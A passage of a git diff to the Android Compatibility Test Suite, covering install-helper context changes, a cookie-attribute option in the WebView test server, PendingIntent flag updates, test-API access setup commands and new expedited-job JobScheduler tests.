+ JSONArray amplitudesArray = amplitudesObj.getJSONArray(vibratorId);
+ testData.amplitudes.append(Integer.valueOf(vibratorId),
+ getIntList(amplitudesArray));
+ assertEquals("Duration array length not equal to amplitude array length",
+ durationsArray.length(), amplitudesArray.length());
}
tests.add(testData);
} catch (JSONException e) {
diff --git a/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
new file mode 100644
index 0000000..ebafb7e
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.SparseArray;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class UinputVibratorManagerTestData {
+ // Array of vibrator durations
+ public List<Long> durations;
+
+ // SparseArray of vibrator id and amplitudes list. The array index is vibrator id,
+ // the value is the list of amplitudes.
+ public SparseArray<List<Integer>> amplitudes;
+}
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
index f3dbd8e..faa040f 100644
--- a/libs/install/src/com/android/cts/install/lib/InstallUtils.java
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -83,7 +83,7 @@
* Returns -1 if the package is not currently installed.
*/
public static long getInstalledVersion(String packageName) {
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
PackageManager pm = context.getPackageManager();
try {
PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -117,7 +117,7 @@
IntentFilter sessionUpdatedFilter =
new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
PackageInstaller installer = getPackageInstaller();
@@ -154,7 +154,7 @@
* Returns the info for the given package name.
*/
public static PackageInfo getPackageInfo(String packageName) {
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
PackageManager pm = context.getPackageManager();
try {
return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -167,7 +167,7 @@
* Returns the PackageInstaller instance of the current {@code Context}
*/
public static PackageInstaller getPackageInstaller() {
- return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+ return InstrumentationRegistry.getTargetContext().getPackageManager().getPackageInstaller();
}
/**
@@ -241,7 +241,7 @@
intent.setComponent(new ComponentName(packageName,
"com.android.cts.install.lib.testapp.ProcessUserData"));
intent.setAction("PROCESS_USER_DATA");
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
handlerThread.start();
@@ -290,7 +290,7 @@
intent.setComponent(new ComponentName(packageName,
"com.android.cts.install.lib.testapp.ProcessUserData"));
intent.setAction("GET_USER_DATA_VERSION");
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
handlerThread.start();
@@ -346,7 +346,7 @@
*/
public static boolean isOnlyInstalledForUser(String packageName, int userIdToCheck,
List<Integer> userIds) {
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
PackageManager pm = context.getPackageManager();
for (int userId: userIds) {
List<PackageInfo> installedPackages;
diff --git a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
index f39f637a..cdf709c 100644
--- a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -51,7 +51,7 @@
* Get a LocalIntentSender.
*/
public IntentSender getIntentSender() {
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
// Generate a unique string to ensure each LocalIntentSender gets its own results.
String action = LocalIntentSender.class.getName() + SystemClock.elapsedRealtime();
context.registerReceiver(this, new IntentFilter(action));
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
index 899bd11..e746f89 100644
--- a/libs/install/src/com/android/cts/install/lib/Uninstall.java
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -43,7 +43,7 @@
return;
}
- Context context = InstrumentationRegistry.getContext();
+ Context context = InstrumentationRegistry.getTargetContext();
PackageManager packageManager = context.getPackageManager();
PackageInstaller packageInstaller = packageManager.getPackageInstaller();
LocalIntentSender sender = new LocalIntentSender();
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 3e781c3..2e0e5bb 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -373,11 +373,23 @@
/**
* getSetCookieUrl returns a URL that attempts to set the cookie
* "key=value" when fetched.
- * @param path a suffix to disambiguate mulitple Cookie URLs.
+ * @param path a suffix to disambiguate multiple Cookie URLs.
* @param key the key of the cookie.
* @return the url for a page that attempts to set the cookie.
*/
public String getSetCookieUrl(String path, String key, String value) {
+ return getSetCookieUrl(path, key, value, null);
+ }
+
+ /**
+ * getSetCookieUrl returns a URL that attempts to set the cookie
+ * "key=value" with the given list of attributes when fetched.
+ * @param path a suffix to disambiguate multiple Cookie URLs.
+ * @param key the key of the cookie
+ * @param attributes the attributes to set
+ * @return the url for a page that attempts to set the cookie.
+ */
+ public String getSetCookieUrl(String path, String key, String value, String attributes) {
StringBuilder sb = new StringBuilder(getBaseUri());
sb.append(SET_COOKIE_PREFIX);
sb.append(path);
@@ -385,6 +397,10 @@
sb.append(key);
sb.append("&value=");
sb.append(value);
+ if (attributes != null) {
+ sb.append("&attributes=");
+ sb.append(attributes);
+ }
return sb.toString();
}
@@ -697,7 +713,11 @@
Uri parsedUri = Uri.parse(uriString);
String key = parsedUri.getQueryParameter("key");
String value = parsedUri.getQueryParameter("value");
+ String attributes = parsedUri.getQueryParameter("attributes");
String cookie = key + "=" + value;
+ if (attributes != null) {
+ cookie = cookie + "; " + attributes;
+ }
response.addHeader("Set-Cookie", cookie);
response.setEntity(createPage(cookie, cookie));
} else if (path.startsWith(LINKED_SCRIPT_PREFIX)) {
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index d43b0aa..6b3c97b 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -17,7 +17,9 @@
cc_test_host {
name: "cts_audio_quality_test",
srcs: ["*.cpp"],
-
+ test_options: {
+ unit_test: false,
+ },
static_libs: [
"libbase",
"libutils",
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 5f193df..a4456e1 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -49,6 +49,7 @@
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -241,6 +242,7 @@
}
@Test
+ @Ignore("Broken until b/171306433 is completed")
public void testAllowWhileIdleAlarms() throws Exception {
setAppStandbyBucket("active");
final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index 8b578a3..86df15e 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -98,7 +98,7 @@
final Intent alarmIntent = new Intent(ACTION_ALARM)
.setPackage(mContext.getPackageName())
.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
- mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, 0);
+ mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
mContext.registerReceiver(mAlarmReceiver, alarmFilter);
mDeviceConfigStateHelper =
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
index e3f8a07..f96de32 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
@@ -84,7 +84,7 @@
for (int i = 1; i <= SUFFICIENT_NUM_ALARMS; i++) {
try {
final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
- new Intent(ACTION_PREFIX + i), 0);
+ new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
mAlarmsSet.add(pi);
} catch (Exception e) {
@@ -100,13 +100,13 @@
setMaxAlarmsPerUid(limit);
for (int i = 0; i < limit; i++) {
final PendingIntent pi = PendingIntent.getBroadcast(mContext, 0,
- new Intent(ACTION_PREFIX + i), 0);
+ new Intent(ACTION_PREFIX + i), PendingIntent.FLAG_IMMUTABLE);
mAlarmManager.set(ALARM_TYPES[i % ALARM_TYPES.length], Long.MAX_VALUE, pi);
mAlarmsSet.add(pi);
}
final PendingIntent lastPi = PendingIntent.getBroadcast(mContext, 0,
- new Intent(ACTION_PREFIX + limit), 0);
+ new Intent(ACTION_PREFIX + limit), PendingIntent.FLAG_IMMUTABLE);
for (int type : ALARM_TYPES) {
try {
mAlarmManager.set(type, Long.MAX_VALUE, lastPi);
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index d5c3548..81f1765 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -32,10 +32,14 @@
<option name="teardown-command" value="cmd blob_store idle-maintenance" />
</target_preparer>
+ <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Disable hidden API checking, see b/166236554 -->
- <option name="run-command" value="settings put global hidden_api_policy 1" />
- <option name="teardown-command" value="settings delete global hidden_api_policy" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/BlobStore/helper-app/AndroidManifest.xml b/tests/BlobStore/helper-app/AndroidManifest.xml
index cc6a7cf..a2cf878 100644
--- a/tests/BlobStore/helper-app/AndroidManifest.xml
+++ b/tests/BlobStore/helper-app/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.blob.helper" >
- <application>
+ <application android:debuggable="true">
<service android:name=".BlobStoreTestService"
android:exported="true"/>
</application>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 95a6e94..685d188 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -83,7 +83,7 @@
@RunWith(BlobStoreTestRunner.class)
public class BlobStoreManagerTest {
- private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 10;
+ private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 30;
private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
@@ -1604,45 +1604,45 @@
// and tag are equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
assertThat(blobHandle1).isEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if digests are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if expiry times are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1112L, "tag");
+ "Fake blob", 1112L, "tag");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if labels are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob1", 1111L, "tag");
+ "Fake blob1", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob2", 1111L, "tag");
+ "Fake blob2", 1111L, "tag");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if tags are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag1");
+ "Fake blob", 1111L, "tag1");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag2");
+ "Fake blob", 1111L, "tag2");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
}
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
index 6a521f1..31945f6 100644
--- a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -36,6 +36,7 @@
public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
public static final String EXTRA_REQUIRE_NETWORK_ANY = PACKAGE_NAME
+ ".extra.REQUIRE_NETWORK_ANY";
+ public static final String EXTRA_AS_EXPEDITED = PACKAGE_NAME + ".extra.AS_EXPEDITED";
public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
public static final int JOB_INITIAL_BACKOFF = 10_000;
@@ -53,10 +54,15 @@
final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
final boolean network = intent.getBooleanExtra(EXTRA_REQUIRE_NETWORK_ANY, false);
+ final boolean expedited = intent.getBooleanExtra(EXTRA_AS_EXPEDITED, false);
JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
.setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
- .setOverrideDeadline(0)
.setImportantWhileForeground(allowInIdle);
+ if (expedited) {
+ jobBuilder.setExpedited(expedited);
+ } else {
+ jobBuilder.setOverrideDeadline(0);
+ }
if (network) {
jobBuilder = jobBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);
}
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 964853c..8c188fc 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -467,7 +467,9 @@
mExecutedPermCheckWrite = permCheckWrite;
mExecutedReceivedWork = receivedWork;
mExecutedErrorMessage = errorMsg;
- mLatch.countDown();
+ if (mLatch != null) {
+ mLatch.countDown();
+ }
}
private void notifyWaitingForStop() {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 2f9ef64..7683fdf 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -34,8 +34,11 @@
import android.os.Looper;
import android.os.Message;
import android.platform.test.annotations.RequiresDevice;
+import android.provider.Settings;
import android.util.Log;
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -78,6 +81,8 @@
private boolean mInitialRestrictBackground;
/** Track whether airplane mode was enabled in case we toggle it. */
private boolean mInitialAirplaneMode;
+ /** Track whether the restricted bucket was enabled in case we toggle it. */
+ private String mInitialRestrictedBucketEnabled;
private JobInfo.Builder mBuilder;
@@ -102,6 +107,8 @@
mInitialRestrictBackground = SystemUtil
.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
.contains("enabled");
+ mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET);
setDataSaverEnabled(false);
mInitialAirplaneMode = isAirplaneModeOn();
setAirplaneMode(false);
@@ -114,12 +121,18 @@
}
mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
+ BatteryUtils.runDumpsysBatteryReset();
+
// Restore initial restrict background data usage policy
setDataSaverEnabled(mInitialRestrictBackground);
// Restore initial airplane mode status
setAirplaneMode(mInitialAirplaneMode);
+ // Restore initial restricted bucket setting.
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
+
// Ensure that we leave WiFi in its previous state.
if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
try {
@@ -288,7 +301,7 @@
mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
mTestAppInterface.startAndKeepTestActivity();
- mTestAppInterface.scheduleJob(false, true);
+ mTestAppInterface.scheduleJob(false, true, false);
runSatisfiedJob(CONNECTIVITY_JOB_ID);
assertTrue("Job with metered connectivity constraint did not fire on mobile.",
@@ -301,6 +314,127 @@
mTestAppInterface.awaitJobStop(30_000));
}
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when if an app is idle.
+ */
+ public void testExpeditedJobExecutes_IdleApp() throws Exception {
+ if (!AppStandbyUtils.isAppStandbyEnabled()) {
+ Log.d(TAG, "App standby not enabled");
+ return;
+ }
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+ mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+ SystemUtil.runShellCommand("am set-standby-bucket "
+ + kJobServiceComponent.getPackageName() + " restricted");
+ disconnectWifiToConnectToMobile();
+ BatteryUtils.runDumpsysBatteryUnplug();
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue("Expedited job requiring connectivity did not fire when app was idle.",
+ kTestEnvironment.awaitExecution());
+ }
+
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when Battery Saver is on.
+ */
+ public void testExpeditedJobExecutes_BatterySaverOn() throws Exception {
+ BatteryUtils.assumeBatterySaverFeature();
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+
+ disconnectWifiToConnectToMobile();
+ BatteryUtils.runDumpsysBatteryUnplug();
+ BatteryUtils.enableBatterySaver(true);
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue(
+ "Expedited job requiring connectivity did not fire with Battery Saver on.",
+ kTestEnvironment.awaitExecution());
+ }
+
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when Data Saver is on and the device is not connected to WiFi.
+ */
+ public void testExpeditedJobExecutes_DataSaverOn() throws Exception {
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+ disconnectWifiToConnectToMobile();
+ setDataSaverEnabled(true);
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue("Expedited job requiring metered connectivity did not fire with Data Saver on.",
+ kTestEnvironment.awaitExecution());
+ }
+
+ /**
+ * Schedule an expedited job that requires a network connection, and verify that it runs even
+ * when multiple firewalls are active.
+ */
+ public void testExpeditedJobBypassesSimultaneousFirewalls() throws Exception {
+ BatteryUtils.assumeBatterySaverFeature();
+ if (!checkDeviceSupportsMobileData()) {
+ Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+ return;
+ }
+ if (!AppStandbyUtils.isAppStandbyEnabled()) {
+ Log.d(TAG, "App standby not enabled");
+ return;
+ }
+
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+ mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+ SystemUtil.runShellCommand("am set-standby-bucket "
+ + kJobServiceComponent.getPackageName() + " restricted");
+ disconnectWifiToConnectToMobile();
+ BatteryUtils.runDumpsysBatteryUnplug();
+ BatteryUtils.enableBatterySaver(true);
+ setDataSaverEnabled(true);
+
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(
+ mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setExpedited(true)
+ .build());
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+ assertTrue(
+ "Expedited job requiring metered connectivity did not fire with multiple "
+ + "firewalls.",
+ kTestEnvironment.awaitExecution());
+ }
+
// --------------------------------------------------------------------------------------------
// Positives & Negatives - schedule jobs under conditions that require that pass initially and
// then fail with a constraint change.
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
index 1a33df0..26bda48 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
@@ -36,18 +36,30 @@
public class JobInfoTest extends BaseJobSchedulerTest {
private static final int JOB_ID = JobInfoTest.class.hashCode();
+ @Override
+ public void tearDown() throws Exception {
+ mJobScheduler.cancel(JOB_ID);
+
+ // The super method should be called at the end.
+ super.tearDown();
+ }
+
public void testBackoffCriteria() {
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setBackoffCriteria(12345, JobInfo.BACKOFF_POLICY_LINEAR)
.build();
assertEquals(12345, ji.getInitialBackoffMillis());
assertEquals(JobInfo.BACKOFF_POLICY_LINEAR, ji.getBackoffPolicy());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setBackoffCriteria(54321, JobInfo.BACKOFF_POLICY_EXPONENTIAL)
.build();
assertEquals(54321, ji.getInitialBackoffMillis());
assertEquals(JobInfo.BACKOFF_POLICY_EXPONENTIAL, ji.getBackoffPolicy());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testBatteryNotLow() {
@@ -55,11 +67,15 @@
.setRequiresBatteryNotLow(true)
.build();
assertTrue(ji.isRequireBatteryNotLow());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiresBatteryNotLow(false)
.build();
assertFalse(ji.isRequireBatteryNotLow());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testCharging() {
@@ -67,11 +83,15 @@
.setRequiresCharging(true)
.build();
assertTrue(ji.isRequireCharging());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiresCharging(false)
.build();
assertFalse(ji.isRequireCharging());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testClipData() {
@@ -81,12 +101,16 @@
.build();
assertEquals(clipData, ji.getClipData());
assertEquals(Intent.FLAG_GRANT_READ_URI_PERMISSION, ji.getClipGrantFlags());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setClipData(null, 0)
.build();
assertNull(ji.getClipData());
assertEquals(0, ji.getClipGrantFlags());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testDeviceIdle() {
@@ -94,23 +118,23 @@
.setRequiresDeviceIdle(true)
.build();
assertTrue(ji.isRequireDeviceIdle());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiresDeviceIdle(false)
.build();
assertFalse(ji.isRequireDeviceIdle());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testEstimatedNetworkBytes() {
- try {
- new JobInfo.Builder(JOB_ID, kJobServiceComponent)
- .setEstimatedNetworkBytes(500, 1000)
- .build();
- fail("Successfully built a JobInfo specifying estimated network bytes without "
- + "requesting network");
- } catch (IllegalArgumentException e) {
- // Expected
- }
+ assertBuildFails(
+ "Successfully built a JobInfo specifying estimated network bytes without"
+ + " requesting network",
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setEstimatedNetworkBytes(500, 1000));
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
@@ -118,6 +142,8 @@
.build();
assertEquals(500, ji.getEstimatedNetworkDownloadBytes());
assertEquals(1000, ji.getEstimatedNetworkUploadBytes());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testExtras() {
@@ -128,13 +154,64 @@
.setExtras(pb)
.build();
assertTrue(persistableBundleEquals(pb, ji.getExtras()));
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
- public void testForegroundJob() {
+ public void testExpeditedJob() {
+ // Test all allowed constraints.
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
- .setForeground(true)
+ .setExpedited(true)
+ .setPersisted(true)
+ .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+ .setRequiresStorageNotLow(true)
.build();
- assertTrue(ji.isForegroundJob());
+ assertTrue(ji.isExpedited());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
+
+ // Test disallowed constraints.
+ final String failureMessage =
+ "Successfully built an expedited JobInfo object with disallowed constraints";
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setMinimumLatency(100));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setOverrideDeadline(200));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
